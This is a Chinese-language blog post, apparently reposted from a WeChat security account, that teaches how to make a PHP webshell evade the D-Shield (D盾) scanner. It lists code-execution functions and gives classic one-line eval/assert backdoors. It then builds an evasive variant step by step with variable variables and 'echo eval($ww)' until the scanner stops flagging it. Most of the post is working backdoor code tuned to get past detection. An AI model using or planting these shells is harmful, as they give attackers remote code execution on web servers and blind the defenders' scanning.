简简单单webshell绕过D盾的一种方法【php】

渗透技巧 3年前 (2021) admin
927 0 0


其实绕过D盾的webshell,很好绕过,不需要对php的理解有多深入,其实往往最简单的方法就可以绕过D盾


我们就来一发简简单单绕过D盾的姿势方法。


ps,有友友留言说想看phpwebshell绕过D盾,这不是有手就行?


简简单单webshell绕过D盾的一种方法【php】



0x01 一句话

 


PHP常见的命令执行/代码执行函数如下:(这里都不一一举例了)


eval()assert()system()shell()shell_exec()exec()call_user_func()call_user_func_array()array_filter()


常用的一句话如下:

<?php eval($_POST['a']);?><?php assert(@$_POST['a']); ?>


0x02 一句话绕过D盾

 


首先我们用php常用一句话



简简单单webshell绕过D盾的一种方法【php】


可以发现,直接就是5级 eval后门


我们可以猜想把$_POST[‘a’] 这边换成一个变量,看看D盾的级别会是多少


简简单单webshell绕过D盾的一种方法【php】


可以发现还少了1 级



如果我们把$a 在变成一个定义好的变量呢?


简简单单webshell绕过D盾的一种方法【php】


上图可以发现,如果eval后面跟上 定义好的变量,级别就会变成1,说明里面有说,是Eval后门,因为参数的问题。


现在呢,我们要运用到PHP的基础知识,可变变量,什么是可变变量,我在下方做出解释


下方代码输出$a 

<?php$a="w";echo $a;?>


简简单单webshell绕过D盾的一种方法【php】



下方代码输出$$a 

<?php$a="w";$$a="c";echo $$a;?>



简简单单webshell绕过D盾的一种方法【php】


此时我们呢,输出$w 会发现是c,也不会报错$w 不是变量,

当我们$$a的时候,把a和w都会被定义,这个就是可变变量


<?php$a="w";$$a="c";echo $w;?>



简简单单webshell绕过D盾的一种方法【php】




我们发现这样的小操作,是不是就可以演变到我们的一句话木马里面


<?php $a = 'ww';$$a = $_GET['a'];eval($ww);?>


简简单单webshell绕过D盾的一种方法【php】


如上图发现,说参数ww是未知的内容,那么我们直接在第一行定义一下ww不就可以了?


<?php $ww="heihei";$a = 'ww';$$a = $_GET['a'];eval($ww);?>


简简单单webshell绕过D盾的一种方法【php】


发现报可疑eval了,每当到这一步其实离成功就差一个小数点,我们利用php相关的特性和连接符,或者注释符,即可绕过


这里我们用echo 让它理解成字符串即可绕过


<?php $ww="heihei";$a = 'ww';$$a = $_GET['a'];echo eval($ww);?>


简简单单webshell绕过D盾的一种方法【php】



简简单单webshell绕过D盾的一种方法【php】






怎么样很简单吧。其实我们就了解php的基础语法就可以绕过。






 burp   burp 



简简单单webshell绕过D盾的一种方法【php】


 


简简单单webshell绕过D盾的一种方法【php】

原文始发于微信公众号(黑客街安全团队):简简单单webshell绕过D盾的一种方法【php】

版权声明:admin 发表于 2021年10月22日 上午8:45。
转载请注明:简简单单webshell绕过D盾的一种方法【php】 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...